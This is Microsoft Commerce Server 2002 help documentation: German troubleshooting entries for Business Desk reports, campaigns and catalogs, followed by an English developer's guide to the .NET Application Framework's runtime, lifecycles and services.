Das Modul, das Sie öffnen möchten, erfordert Zugriffsrechte, die Sie nicht besitzen. Setzen Sie sich mit Ihrem Systemadministrator in Verbindung, um die entsprechenden Zugriffsrechte zu erhalten.


Fehlermeldung "Fehler im Commerce Server-Verwaltungsobjekt: Beschreibung - GlobalConfig:Initialize: Fehler bei der Anmeldung für den Benutzer <Benutzername>" erhalten

Beschreibung

Sie arbeiten mit dem Segment-Viewer, und der Vorhersagedienst wird unter Verwendung eines lokalen Kontos ausgeführt.

Lösung

Verwenden Sie für den Vorhersagedienst ein Domänenkonto. Weitere Informationen finden Sie unter Bereitstellen von Commerce Server mithilfe der Windows-Authentifizierung.


Änderungen werden nicht in der Website angezeigt

Beschreibung

Sie haben Änderungen an Commerce Server Business Desk vorgenommen, jedoch werden diese Änderungen nicht in Ihrer Website angezeigt.

Lösung

Sie müssen möglicherweise den Commerce Server-Cache aktualisieren. Um das zu tun, aktualisieren Sie Ihre Site mithilfe der Module "Kampagnen veröffentlichen", "Transaktionen veröffentlichen" oder "Profile veröffentlichen". Darüber hinaus müssen Sie möglicherweise die Kataloge im Katalog-Editor-Modul über die Symbolleisten-Schaltfläche Veröffentlichen veröffentlichen.


Es können nicht zwei Instanzen von Business Desk geöffnet werden

Beschreibung

Es lassen sich auf Ihrem Computer nicht zwei Instanzen desselben Commerce Server Business Desk Clients für dieselbe Site öffnen.

Lösung

Es ist nicht möglich, zwei Instanzen desselben Business Desk Clients für dieselbe Site auf dem Computer zu öffnen. Sie können jedoch zwei Business Desk Clients für verschiedene Sites auf Ihrem Computer gleichzeitig ausführen.


Volltextsuche in der Hilfe liefert kein Ergebnis

Beschreibung

Sie führen eine Volltextsuche in der Commerce Server Business Desk-Hilfe durch, doch die Suche führt zu keinem Ergebnis.

Lösung

Setzen Sie sich mit Ihrem Systemadministrator in Verbindung, um den Indexdienst auf dem Webserver zu starten, der die Business Desk-Anwendung ausführt. Der Indexdienst sollte immer auf Autostart eingestellt sein, da nach dem Start des Indexdienstes einige Zeit vergehen kann, bis der Ordner mit den Hilfeinhalten zur Verfügung steht.


Datumsangaben werden nicht korrekt angezeigt

Beschreibung

Wenn der Systemadministrator den Datumsseparator von einem Schrägstrich (/) in einen anderen Separator ändert, z. B. einen Bindestrich (-), werden Datumsangaben in Commerce Server Business Desk nicht korrekt angezeigt.

Lösung

Der Systemadministrator muss die Business Desk-Anwendung nach dem Ändern des Datumsseparators erneut starten.


Problembehandlung bei Business Desk-Analysemodulen

  • Berichte können nicht ausgeführt werden
  • Dialogfeld "Ausführung des statischen Berichts" wird weiterhin angezeigt
  • Bericht wird ohne Daten angezeigt
  • Fehler im Bericht "Käuferverhalten bis zum Kauf"
  • Statischer Bericht wird nicht ausgeführt
  • Fehlender Elementname für Schlüsselnummer
  • Auf SQL Server basierende dynamische Berichte verbrauchen sehr viel Speicherplatz


Berichte können nicht ausgeführt werden

Beschreibung

Sie versuchen, im Berichtsmodul einen Bericht aufzurufen, doch es geschieht nichts. Wenn Sie versuchen, einen statischen Bericht auszuführen, wird entweder ein Statusfehler angezeigt, oder der Bericht enthält keine Daten.

Hinweis

  • Beim Ausführen eines dynamischen Berichts wird die folgende Fehlermeldung angezeigt:

    Entweder haben EOF bzw. BOF den Wert TRUE oder der aktuelle Datensatz ist gelöscht worden.

Lösung

Setzen Sie sich mit Ihrem Systemadministrator in Verbindung. Der Systemadministrator muss die Daten in das Data Warehouse importieren, bevor der Bericht erfolgreich ausgeführt werden kann.


Dialogfeld "Ausführung des statischen Berichts" wird weiterhin angezeigt

Beschreibung

Wenn Sie im Modul "Analyse" einen statischen Bericht ausführen, in dessen Sitenamen Doppelbytezeichen enthalten sind, wird das Dialogfeld "Ausführung des statischen Berichts" auch dann weiterhin angezeigt, wenn Sie die Anzeige mit Nein deaktivieren.

Lösung

Verwenden Sie ausschließlich ASCII-Zeichen, wenn Sie beim Einrichten einer Site den Sitenamen festlegen. Andernfalls müssen Sie beim Ausführen des statischen Berichts im Dialogfeld die Option Nein wählen. Führen Sie den statischen Bericht erneut aus, und aktualisieren Sie das Modul "Analyse", indem Sie im linken Bereich auf den Link Analyse klicken. Daraufhin sollte das Dialogfeld nicht mehr angezeigt werden.


Bericht wird ohne Daten angezeigt

Beschreibung

Ein dynamischer Bericht wird im Browserfenster ohne Daten angezeigt. Business Desk unterstützt in dynamischen Berichten bis zu 250.000 Elemente pro Dimension. Wenn Sie einen dynamischen Bericht über einen Datensatz ausführen, der mehr als 250.000 Elemente pro Dimension enthält, dann tritt beim Modul Office XP Web Components (OWC) ein Timeout auf, und der Bericht wird im Browserfenster ohne Daten angezeigt.

Lösung

Wenn Ihre Daten Dimensionen von mehr als 250.000 Elementen beinhalten, setzen Sie sich mit Ihrem Systemadministrator in Verbindung, und fordern Sie einen benutzerdefinierten statischen Bericht an, der die Daten analysiert.


Fehler im Bericht "Käuferverhalten bis zum Kauf"

Beschreibung

Sie versuchen, den Bericht "Käuferverhalten bis zum Kauf" auszuführen, und es tritt eine Fehlermeldung auf.

Lösung

Setzen Sie sich mit Ihrem Systemadministrator in Verbindung. Der Systemadministrator kann die Lösung für diesen Fehler in der Hilfe zu Commerce Server 2002 finden.


Statischer Bericht wird nicht ausgeführt

Beschreibung

Bei dem Versuch, einen statischen Bericht auszuführen, wird kein Bericht generiert und alle Schaltflächen auf der Symbolleiste werden deaktiviert. Eine Fehlermeldung wird angezeigt, die besagt, dass beim Zurücksetzen der Internetinformationsdienste (IIS) ein COM-Fehler aufgetreten ist.

Lösung

Fragen Sie Ihren Systemadministrator, ob die IIS zurückgesetzt wurden, während Sie statische Berichte ausgeführt haben. Wenn die IIS tatsächlich zurückgesetzt worden sind, schließen Sie Commerce Server Business Desk, und öffnen Sie es erneut. Führen Sie daraufhin den statischen Bericht erneut aus.


Fehlender Elementname für Schlüsselnummer

Beschreibung

Wenn Sie den Dimensionsbericht "Anzeigenplatzierung – Seitengruppe" oder den Dimensionsbericht "Produktabsatz – Kunde" ausführen, wird im Bericht möglicherweise die Fehlermeldung "Fehlender Elementname für Schlüsselnr." angezeigt. Dieser Fehler wird dadurch verursacht, dass die in das Data Warehouse importierten Daten nicht die erforderlichen eindeutigen Werte haben.

Lösung

Verwenden Sie einen der beiden folgenden Lösungsansätze:

  • Anzeigenplatzierungsbericht. Setzen Sie sich mit Ihrem Systemadministrator in Verbindung, um den Data Transformation Services (DTS)-Task Import von Kampagnendaten auszuführen und dann den DTS-Berichtsvorbereitungstask noch einmal zu wiederholen. Dieses Problem tritt auf, wenn die Daten aus der Ursprungsdatenbank gelöscht worden sind.
  • Produktverkaufsbericht. Führen Sie den DTS-Profildatenimport-Task aus, und wiederholen Sie dann noch einmal den DTS-Berichtsvorbereitungstask. Dieses Problem tritt auf, wenn die Daten aus der Ursprungsdatenbank gelöscht worden sind.


Auf SQL Server basierende dynamische Berichte verbrauchen sehr viel Speicherplatz

Beschreibung

Wenn Sie einen auf SQL Server basierenden dynamischen Bericht ausführen, dann versucht PivotControl, alle Daten in den Hauptspeicher zu laden, bevor der Bericht angezeigt wird. Wenn Sie z. B. den Bericht "Anzeigenreichweite und -häufigkeit pro Kampagnenartikel" ausführen, bei dem 400.000 Zeilen in den Primärtabellen enthalten sind, wird der Systemspeicher mit rund 700 MB belegt.

Lösung

Denken Sie an die Speicheranforderungen, wenn Sie auf SQL Server basierende dynamische Berichte ausführen, und planen Sie entsprechend.

Siehe auch

Erstellen einer neuen dynamischen Berichtsdefinition


Problembehandlung bei Business Desk-Kampagnen

  • Direct Mailer-Auftrag kann nicht ausgeführt werden
  • Direct Mailer-Auftrag wird nicht ausgeführt, aber es erscheint keine Fehlermeldung
  • Speichern einer Direktsendungskampagne nicht möglich
  • Kampagnenartikel werden nicht wie erwartet in der Website angezeigt
  • Daten werden nicht im Listen-Manager angezeigt
  • Beim Aktualisieren der Website werden neue Kampagnenartikel nicht übernommen
  • Vorschau für Bilddateien kann nicht angezeigt werden


Direct Mailer-Auftrag kann nicht ausgeführt werden

Beschreibung

Der Direct Mailer-Auftrag ist nicht ausgeführt worden, und Sie haben keine Fehlermeldung erhalten.

Lösung

Setzen Sie sich mit Ihrem Systemadministrator in Verbindung. Wenn der Direct Mailer-Auftrag eine personalisierte Direktsendungskampagne ist, kann es sein, dass der Systemadministrator den Direct Mailer-Auftrag aus Leistungsgründen blockiert hat. Wenn Sie für Direktsendungen keinen eigens dafür bereitgestellten Webserver haben, könnte der Systemadministrator es so eingerichtet haben, dass die Kampagne zu einer Zeit geringen Datenverkehrs startet, da sie auf den Webserver genauso wie ein Benutzer zugreift. Je nach Umfang der Direktsendungsliste kann dies die Leistung des Webservers beeinträchtigen.


Direct Mailer-Auftrag schlägt ohne Fehlermeldung fehl

Beschreibung

Ein Direct Mailer-Auftrag wurde nicht gestartet, und Sie haben keine Fehlermeldung erhalten, die Ihnen Auskunft über den Grund dieses Fehlschlags erteilt.

Lösung

Setzen Sie sich mit Ihrem Systemadministrator in Verbindung. Dieses Versagen kann mehrere Ursachen haben. Wenn z. B. SQL Server-Agent angehalten wird, obwohl ein geplanter Direct Mailer-Auftrag noch ausgeführt werden sollte, so wird dieser nicht ausgeführt und das Versagen nicht protokolliert. Es gibt keinen Hinweis darauf, dass der Auftrag nicht ausgeführt wurde. Der Systemadministrator muss ihn manuell über das SQL Server Agent-Steuerelement in SQL Server Enterprise Manager starten.


Speichern einer Direktsendungskampagne nicht möglich

Beschreibung

Wenn SQL Server-Agent nicht ausgeführt wird, während Sie eine Direktsendungskampagne erstellen, können Sie die Kampagne nicht speichern. Commerce Server Business Desk reagiert nicht, und die SQL Server-Agent-Meldung zeigt erst anschließend an, dass der Server nicht ausgeführt wird.

Lösung

Wenden Sie sich zur Lösung des Problems an Ihren Systemadministrator. Dieser kann SQL Server-Agent starten. Anschließend sind Sie in der Lage, die Direktsendungskampagne zu speichern.


Kampagnenartikel werden in der Website nicht wie erwartet angezeigt

Beschreibung

Die für Anzeigenkampagnen und Preisnachlasskampagnen erstellten Artikel werden nicht in der Website angezeigt.

Lösung

Wenn Sie mithilfe des Kampagnen-Manager-Moduls eine neue Anzeige erstellen, dann ist die Anzeige so lange inaktiv, bis sie veröffentlicht oder in einem normalen Aktualisierungszyklus erkannt wird. Standardmäßig werden Anzeigen alle fünf Minuten automatisch veröffentlicht. Preisnachlässe müssen jedoch immer manuell veröffentlicht werden, da sie nicht automatisch in Kraft treten. Wenn Sie eine Anzeige oder einen Preisnachlass im Voraus erstellt und inaktiv gelassen haben, müssen Sie diese erneut öffnen und aktivieren.

Hinweis

  • Bevor Sie eine Anzeigenkampagne in einer neuen Site aktualisieren, müssen Sie die Website zuerst besuchen. Jeder Server einer Webfarm muss aktualisiert werden, bevor ein Kampagnenartikel zur Produktion gesendet werden kann.

Die folgende Tabelle führt weitere Situationen auf, die Sie überprüfen sollten, wenn Ihre Anzeige oder Ihr Preisnachlass in der Website nicht angezeigt werden.

Beschreibung | Lösung
Ist der Kampagnenartikel veröffentlicht worden? | Falls nicht, veröffentlichen Sie Ihre Kampagne mithilfe des Moduls "Kampagnen veröffentlichen".
Ist der Status des Anzeigen- oder Kampagnenartikels "Aktiv"? | Falls nicht, öffnen Sie den Anzeigen- oder Kampagnenartikel, und ändern Sie den Status von inaktiv nach aktiv.
Ist eine Menge oder eine Gewichtung definiert worden? | Bei bezahlten Anzeigen müssen Sie eine Menge oder eine Gewichtung für die Kampagne angeben.
Gibt es Konflikte durch Einschränkungen bei Zielgruppen, beim Branchencode oder bei der Erscheinungsweise? | Überprüfen Sie, ob es irgendwelche Einschränkungen bei den Zielgruppen, beim Branchencode oder bezüglich der Erscheinungsweise dieser Anzeige gibt, welche die Durchführung verhindern.
Befindet sich das Datum der Anzeige oder Kampagne außerhalb des Gültigkeitsbereichs? | Überprüfen Sie, ob das Anzeigen- oder Kampagnendatum zu weit in der Zukunft liegt.
Gibt es eine andere Anzeige, die anstelle der von Ihnen erwarteten angezeigt wird? | Falls nicht, überprüfen Sie, ob es eine andere Anzeige mit einem höheren Bereitstellungsbedarf gibt, die Ihre Anzeige außer Kraft setzt.
Ist die Anzeige auf veraltete Seitengruppen eingestellt? | Wenn Sie Ihre Website neu gestaltet haben, könnte die Anzeigenveröffentlichung immer noch für die früheren Seitengruppen geplant sein. Sie müssen die Anzeigen neu einrichten, wenn Sie eine neue Website haben.
Handelt es sich bei der Anzeige um eine Eigenwerbung? | Wenn es sich um eine Eigenwerbung handelt, erscheint die Anzeige erst dann in der Website, wenn alle bezahlten Anzeigen ihren Bereitstellungsbedarf erfüllt haben.
Verhindert ein Zielausdruck das Erscheinen der Anzeige? | Wenn die Eigenschaften von Sitebesuchern nicht mit der Definition des Zielausdrucks übereinstimmen, erscheint die Anzeige nicht.
Ist der Anzeigenraum von den Abmessungen her begrenzt? | Wenn der Anzeigenraum in der Website auf eine bestimmte Inhaltsgröße beschränkt ist, und die Anzeige diese Größe nicht einhält, wird sie nicht angezeigt.


Daten werden nicht im Listen-Manager angezeigt

Beschreibung

Wenn mithilfe des Benutzermoduls Aktualisierungsoperationen oder Suchoperationen für große Benutzerdatenmengen durchgeführt werden, kann das einen Prozess-Timeout auslösen.

Zu einem Timeout, bei dem Sie unter Umständen die Daten nicht mehr anzeigen können, kann es aufgrund verschiedener Faktoren kommen. Ein möglicher Grund kann die hohe Zahl von Elementen sein, die abgerufen werden.

Lösung

Wenden Sie sich zur Lösung des Problems an Ihren Systemadministrator. Der Systemadministrator kann die Lösung für diese Fehlerbedingung in der Hilfe zu Commerce Server 2002 finden.


Beim Aktualisieren der Website werden neue Kampagnenartikel nicht übernommen

Beschreibung

Wenn Sie nicht über die entsprechenden Berechtigungen verfügen oder Probleme mit der Datenbankverbindung auftreten, werden die neuen Kampagnenartikel bei der Aktualisierung der Website nicht übernommen.

Lösung

Wenden Sie sich zur Lösung des Problems an Ihren Systemadministrator. Der Systemadministrator kann die erforderlichen Zugriffsrechte für Sie einrichten und die Probleme mit der Datenbankverbindung beheben.

Darüber hinaus ist die Veröffentlichung einer neuen Kampagne nur möglich, wenn im Stammverzeichnis der Site auf jedem Webserver die ASP-Seite Bdrefresh.asp vorhanden ist.


Vorschau für Bilddateien kann nicht angezeigt werden

Beschreibung

Wenn Ihr Business Desk auf der SupplierAD-Lösungssite basiert und AuthFilter aktiviert ist, können Sie aufgrund des Authentifizierungscodes keine Bilddatei anzeigen.

Lösung

Wenden Sie sich zur Lösung des Problems an Ihren Systemadministrator. Zum Anzeigen einer Bilddatei in der Business Desk-Vorschau müssen Sie für alle Bilddateien, die im virtuellen Stammverzeichnis von Business Desk gespeichert sind, den anonymen Zugriff aktivieren. Informationen zum Aktivieren des anonymen Zugriffs finden Sie unter Aktivieren von AuthFilter für die Supplier-Lösungssite.


Problembehandlung bei Business Desk-Katalogen

  • Katalog kann nicht importiert werden
  • Katalog kann nicht an einen Handelspartner gesendet werden
  • Datei "Samplecatalog.xml" kann nicht importiert werden
  • Website generiert die Fehlermeldung, dass das Element in der Auflistung nicht gefunden werden kann


Katalog kann nicht importiert werden

Beschreibung

Der Import eines Katalogs kann nicht durchgeführt werden. Wenn die Katalogdatei z. B. unter C:\Dokumente und Einstellungen\Benutzername\Desktop gespeichert ist, kann der Import wegen des Speicherorts nicht durchgeführt werden. Es erscheint zwar die Meldung "Der Katalogimport wurde erfolgreich gestartet", doch wenn Sie auf Katalog-Editor klicken, um die Seite neu zu laden, wird der Katalog nicht importiert.

Lösung

Setzen Sie sich mit Ihrem Systemadministrator in Verbindung. Wenn Commerce Server Business Desk im mittleren Isolationsmodus der Internetinformationsdienste (IIS) ausgeführt wird, haben Sie keinen Zugriff auf Systemordner wie den Desktop. Verwenden Sie zum Importieren der Datei vom Desktop die Option Lokale Datei.

Die nachfolgende Tabelle führt weitere Situationen auf, die überprüft werden sollten, wenn der Katalogimport nicht durchgeführt wird.

Beschreibung | Lösung
Sie importieren einen Katalog und erhalten die Meldung, dass der Import durchgeführt wird. Wenn Sie jedoch auf Katalog-Editor klicken, um die Seite neu zu laden, wird der Katalog nicht angezeigt. | Wenn Sie einen Katalog importieren, der eine Produktdefinition mit Eigenschaften enthält, die sich von einer bestehenden Produktdefinition desselben Namens unterscheiden, dann schlägt der Import fehl. Dieses Problem lässt sich verhindern, indem Sie den Import im Überprüfungsmodus ausführen und sicherstellen, dass Produktdefinitionseigenschaften über alle Kataloge hinweg konsistent sind.
Sie haben versucht, einen XML-Katalog mithilfe des Katalog-Editors zu importieren, doch der Import schlug fehl. | Stellen Sie sicher, dass der vollständige Dateipfad und -name für den Katalog verwendet wird, oder dass der Katalog sich auf dem Freigabeordner CommerceCatalogs des Servers befindet, welcher die Business Desk-Anwendung ausführt. Ihr Systemadministrator kann Sie unterstützen, indem er den Katalog auf den Server lädt.


Katalog kann nicht an einen Handelspartner gesendet werden

Beschreibung

Sie haben einen Katalog für einen Handelspartner erstellt und können ihn nicht an den Partner senden.

Lösung

Überprüfen Sie, ob der Systemadministrator Microsoft BizTalk Server 2002 eingerichtet und Commerce Server für den Dokumentenaustausch konfiguriert hat.


Datei "Samplecatalog.xml" kann nicht importiert werden

Beschreibung

Commerce Server 2000 enthält eine XML-Datei namens Samplecatalog.xml. In dieser XML-Datei entspricht Name der Produkt-ID. Sie können diese Datei nicht in Commerce Server 2002 importieren, da Name standardmäßig eine mehrsprachige Eigenschaft ist. Mehrsprachige Eigenschaften können keine Produkt-ID bzw. Varianten-ID für einen Katalog sein.

Lösung

Das Importieren der Datei Samplecatalog.xml in Commerce Server 2002 ist jedoch möglich, nachdem die Einstellungen im Feld LanguageSensitive geändert wurden, um diese Diskrepanz zu beheben.

So importieren Sie "Samplecatalog.xml" in Commerce Server

  1. Öffnen Sie die Datei Samplecatalog.xml im Windows-Editor.
  2. Ändern Sie den Wert von LanguageSensitive in 0.
  3. Klicken Sie im Menü Datei auf Speichern, um Samplecatalog.xml zu speichern.

Nun können Sie die Datei Samplecatalog.xml mithilfe von Commerce Server Business Desk importieren.


Website generiert die Fehlermeldung, dass das Element in der Auflistung nicht gefunden werden kann

Sie erstellen einen Katalog, der keine Produktbeschreibungen enthält. Wenn die Benutzer in Ihrer Website auf ein Produkt klicken, wird die folgende oder eine ähnliche Fehlermeldung angezeigt:

Fehlertyp
ADODB.Recordset (0x800A0CC1)
Element kann in der Auflistung anhand des angeforderten Namens bzw. der angeforderten Ordinalzahl nicht gefunden werden.

Die Lösungssites erwarten, dass in jedem Katalog Eigenschaften wie Name oder Beschreibung vorhanden sind. Dabei handelt es sich nicht um integrierte Eigenschaften. Wenn diese Eigenschaften im Katalog nicht vorhanden sind, wird dieser Fehler generiert.

Lösung

Überprüfen Sie, ob der Katalog für jedes Produkt einen Namen und eine Beschreibung enthält. Ist dies nicht der Fall, fügen Sie dem Katalog die entsprechenden Eigenschaften hinzu.


Developer's Guide

Feedback zu dieser Seite senden Commerce Server 2002 SDK

Developer’s Guide

Microsoft Commerce Server 2002 provides the tools and services that enable you to develop a world-class commercial Web site more quickly and easily. This section introduces you to Commerce Server development, and provides conceptual information about the various aspects of Web site development using Commerce Server.

This section contains:

  • Commerce Server .NET Application Framework. Describes the components of the Commerce Server .NET Application Framework, and explains how to use the integrated Microsoft Visual Studio .NET tools to build a .NET-based Commerce Server application.
  • Extending Commerce Server. Describes how to extend the resources included in Commerce Server.
  • Software Development Kit. Provides instructions about how to use samples and scripts included in the Commerce Server Software Development Kit.
  • Developing an International Site. Provides guidance for developing an international site with localized text, dates, times, and currencies.
  • International Retail Site. Explains how to use the .NET International Retail Site to build a .NET-based Web site.
  • Commerce Server Solution Sites. Provides an overview of the Commerce Server Solution Sites, including the site features, site infrastructure, site development, and reference information.
  • Programmer's Reference. Provides reference information about programming with the Commerce Server 2002 programming platform.


Commerce Server .NET Application Framework

The Commerce Server .NET Application Framework brings the Microsoft .NET Framework developer experience to Commerce Server. It allows developers to create Commerce Server applications using the new features of the .NET Framework. Two of the new features are the Base Class Library and Common Language Runtime Interop Layer. These additions allow ASP.NET code to run core COM-based Commerce Server services and systems.

This section discusses the programmatic components of the Commerce Server .NET Framework, and also discusses Commerce Server features and tools available in the Microsoft Visual Studio .NET environment that simplify and expedite the creation of .NET-based Commerce Server applications.

This section contains:

  • Programmatic Components of the Commerce Server .NET Application Framework. Describes the programmatic components of the Commerce Server .NET Application Framework.
  • Building a .NET-Based Commerce Server Application. Explains how to use the integrated Microsoft Visual Studio .NET tools to build a .NET-based Commerce Server application.
  • International Retail Site. Describes the multilingual, multicurrency business-to-business, and business-to-consumer Web site included in the Software Development Kit.

See Also

.NET Class Reference


Programmatic Components of the Commerce Server .NET Application Framework

The Commerce Server .NET Application Framework introduces the Base Class Library and the Common Language Runtime Interop Layer to the Commerce Server platform. The Base Class Library and the Common Language Runtime Interop Layer enable Commerce Server objects and services to be utilized within ASP.NET. In addition, the Commerce Server .NET Application Framework uses a new application runtime that simplifies the process of building new Commerce Server applications.

The Base Class Library enables developers to access most pre-existing Commerce Server COM objects through a programming model consistent with the Common Language Specification (CLS) and the .NET Framework design guidelines. Internally, many of the classes in the Base Class Library use existing Commerce Server COM objects.

Between the Base Class Library and the Commerce Server COM platform is the Common Language Runtime Interop Layer, primarily composed of the Primary Interop Assemblies. The Primary Interop Assemblies contain the runtime callable wrapper (RCW) classes that permit the common language runtime to interact with COM objects. For each COM DLL file containing run-time objects, a Primary Interop Assembly is provided.

You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Base Class Library manages the lifetime of the underlying COM objects for you, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

The following figure shows the internal workflow for how the components in the platform communicate to fulfill a request from a user.

Commerce Server .NET Application Framework

Depicts the Commerce Server .NET Application Framework.

For reference information pertaining to the members of the Base Class Library and the Primary Interop Assemblies, see .NET Class Reference.

This section contains:

  • Commerce Server Application Runtime
  • Base Class Library
  • Common Language Runtime Interop Layer

See Also

Commerce Server .NET Application Framework Tutorial


Commerce Server Application Runtime

The run-time components that previous versions of Commerce Server provided for use in applications all required their own initialization data. Initializing these components required many lines of code in the global.asa file and additional initialization code on each ASP page. However, the architecture of ASP.NET enables the encapsulation of component initialization and configuration into a set of components that extend the core run-time services provided by ASP.NET. The new set of components is made up of HTTP modules and Configuration Section Handlers. From within the Init methods of the HTTP modules, the modules are initialized based on the data in the web.config file. The automation and encapsulation of this process provides a significant reduction in the amount of code you have to write and debug to create and run an application.

The following topics describe the services provided by the Commerce Server Application Runtime and how they are used within the application and request lifecycles.

This section contains:

  • Application Lifecycle
  • Request Lifecycle
  • Run-Time Services
  • Configuration Services
  • Commerce Modules


Application Lifecycle

This topic describes the workflow of the application when an ASP.NET application starts.

  1. A request arrives and the ASP.NET runtime creates an AppDomain for the application. It then creates the first instance of the HttpApplication class within the AppDomain. The AppDomain might create subsequent instances of the HttpApplication class, because ASP.NET can create a pool of instances. Each request to the Web server is serviced by a single instance of the HttpApplication class.
  2. ASP.NET fires the OnStart event. This is normally synced by the Application_Start event handler in the global.asax file.
  3. The HttpApplication class creates and initializes the HTTP modules for servicing the application request. Modules are initialized in the order in which they appear in the web.config file. Some of the HTTP modules created are Commerce Modules. The Init method for each module is called, in which the module can subscribe to other request-processing events raised by the HttpApplication class.
  4. The Init method of the HttpApplication class is called. The Init method is a virtual method that can be overridden in the global.asax file; however, unlike the Application_Start event handler, the Init method is called once per HttpApplication class instance.
  5. Before ASP.NET terminates the AppDomain, the OnEnd event is raised by the HttpApplication class.

See Also

Request Lifecycle


Request Lifecycle

This topic describes how the services provided by the Commerce Server .NET Application Framework are used when completing an application request.

  1. When a new request is received, the ASP.NET runtime raises the BeginRequest event. All subscribers to that event are then called in a deterministic order. Next, the CommerceApplicationModule class creates an instance of the CommerceContext class. The current CommerceContext instance can then be accessed from any object by accessing the static property CommerceContext.Current.
  2. The other Commerce Modules that subscribe to the BeginRequest event are called. Each module has the option of setting some state in the current CommerceContext instance. For example, the CommerceCatalogModule class, if configured in the web.config file, copies a reference from its instance of the CatalogContext class into the current instance of the CommerceContext class.
  3. The Web form is run.
  4. The EndRequest event is raised and its subscribers are called. The CommerceApplicationModule class disposes of the CommerceContext object. When the CommerceContext object is disposed of, it also disposes of all resources that were registered with it during processing of the page.

See Also

Commerce Modules

Application Lifecycle

Run Time Services

CommerceContext Class

CommerceApplicationModule Class

CommerceCatalogModule Class


Run Time Services

.NET-based Commerce Server applications require two types of run time services — application services and page services. Application services are the services and data used by the entire application and globally available to all user sessions, such as the Profile System and the Product Catalog System. Page services are the services and data used only by an individual page and available only within the scope of a user's visit to a site, such as the user's profile.

Application Services

Page Services

Application Services

The Commerce Server Application Runtime simplifies the development of .NET-based Commerce Server applications. The Commerce Server Application Runtime configures Commerce Server application services based on configuration information in the web.config file and makes them easily accessible at run time.

This topic describes the application services provided by the Commerce Server Application Runtime.

Site Resource Settings

Authentication

Address Mapping

Cache Management

Catalog Retrieval

Commerce Event Logging

Creation of Content Selection Applications

Pipeline Management

Profile Retrieval

Resource Localization

Site Resource Settings

A site resource is an entity that provides functionality to the applications in a Commerce Server site. The Web pages of an application use these resources. Site resource configuration settings are available and stored globally within the Commerce Server Application Runtime, and can be accessed through the CommerceContext.Current.Resources property. For more information about the CommerceContext.Resources property, see CommerceContext.Resources Property (BCL)

Authentication

During the OnBeginRequest event, if detection is enabled in the authentication tag of the web.config file, the CommerceAuthenticationModule class automatically detects whether the client supports cookies. The CommerceAuthenticationModule automatically adds a test cookie, creates an instance of the AuthenticationInfo class, and sets the appropriate values for the AuthenticationInfo.SupportsPersistentCookies and AuthenticationInfo.SupportsSessionCookies properties. If cookie detection is not enabled, the value of the AuthenticationInfo.SupportsPersistentCookies and AuthenticationInfo.SupportsSessionCookies properties keep their default value of False.

Use the QueryStringBuilder class, which is available from the CommerceContext class, to build your URLs. The QueryStringBuilder class puts the authentication ticket and/or profile ticket information into the query string if cookieless mode is enabled. You use the QueryStringBuilder.BuildUrl method in any place where you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket is not passed on to the next request. If the CommerceAuthenticationModule is enabled in the web.config file, it automatically detects whether the browser supports cookies and populates the query string appropriately.

Note that on the first request to the site, there is no auto-redirect for cookie detection and the default setting for the QueryStringBuilder.CookieSupport property is False, so it is assumed that the browser does not support cookies.

For more information about the CommerceAuthenticationModule, see Commerce Modules and CommerceAuthenticationModule.

Address Mapping

The Commerce Server Order System and the Profiling System store address data in two different formats. This is due to how the two systems represent the data in their run-time objects. The Commerce Server Application Runtime provides a method of automatically mapping data stored in the Profiling System to the Order System, and provides a unified representation of that data at run time. This mapping is configured in the web.config file. For more information about address mapping, see Configuration Services and addressMap Tag.

Cache Management

Commerce Server applications are dependent on the CacheManager object for caching data from the Targeting and Product Catalog systems. The Commerce Server Application Runtime provides access to the CacheManager object services for configuration during the run-time operation of the application. For more information about configuring caches stored within the Commerce Server Application Runtime, see Configuration Services, CommerceCache, Caching.CommerceCacheCollection, and CommerceContext.Current.

Catalog Retrieval

The CatalogContext object (Microsoft.CommerceServer.Runtime.Catalog.CatalogContext) is used for global access in the application, for retrieving individual catalogs, and for performing searches in the Product Catalog System. The CatalogManager object is available globally from the Commerce Server Application Runtime. No special configuration is required for this service.

In addition, the Commerce Server Application Runtime makes it possible to configure a single catalog in the Product Catalog System so that the data is automatically available at run time.

For more information about catalog classes, see Microsoft.CommerceServer.Runtime.Catalog.

Commerce Event Logging

The Base Class Library includes the BaseCommerceEvent object that enables you to create your own Commerce event managed-code objects. When you create a custom Commerce event, the event information is appended to the Web log file query string. These events can then be tracked and used in reports.

For more information about the BaseCommerceEvent class, see Base Commerce Event Class.

Creation of Content Selection Applications

A Content Selection Application is a collection of caches and pipelines that correspond to a particular type of Content Selection operation. For example, the Advertising Content Selection application consists of a cache of target-based content, a pipeline for selecting the content, a pipeline for recording events, and a URL used as the link between the advertisement and the area to which the advertisement corresponds.

In Commerce Server 2002, the Commerce Server Application Runtime enables you to configure these elements in a single location. The Commerce Server Application Runtime automatically ties them together at run time and makes them available to the Content Selection process when content is requested from a particular Content Selection Application.

For more information about the ContentSelector class, see ContentSelector Class (BCL).

Pipeline Management

The functionality of a pipeline is based on three parts: pipeline components, pipeline configuration files, and the pipeline objects used to invoke the pipeline components and configuration files. When running pipelines in a .NET-based Commerce Server application, only a few configuration properties need to be set to in the web.config file to enable the Commerce Server Application Runtime to call the correct components, pipeline configuration files, and objects.

For more information about the pipelines, see Microsoft.CommerceServer.Runtime.Pipelines or pipelines tag.

Profile Retrieval

The ProfileContext object is stored globally in the application, and is used for retrieving individual profile instances. The ProfileContext object is available globally from the Commerce Server Application Runtime. The configuration of the Profile Service and its usage within an ASP.NET application is limited to mapping the properties implemented by the schema representing users and the schema representing organizations. This is specifically required by the Catalog class library to enable Catalog Sets functionality. For more information about profile retrieval, see profiles Tag.

Resource Localization

The MessageManager object was originally designed for use by pipeline components to insert status and error messages into an OrderForm object. The Commerce Server 2000 Solution Sites use a specialized XML document, rc.xml, for setting the MessageManager object. The Commerce Server .NET Application Framework contains a new method for localizable resource creation and management. This method has a schema similar to the rc.xml document, but with much richer support for localizable resources, including strings and bitmaps.

The Commerce Server Application Runtime relies on the Commerce Server .NET Application Framework localizable resource schema with one exception: the Order Processing pipeline, which remains dependent on the MessageManager object. The Commerce Server Application Runtime maps specific resources from a .resx file and loads them into the MessageManager object when the application starts, so that when the MessageManager object is required by the Order Processing pipeline, it has the data it needs to function correctly. For more information about configuring the MessageManager object, see Configuration Services. For more information about managing messages in the Commerce Server .NET Application Framework, see Using MessageManager.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

Page Services

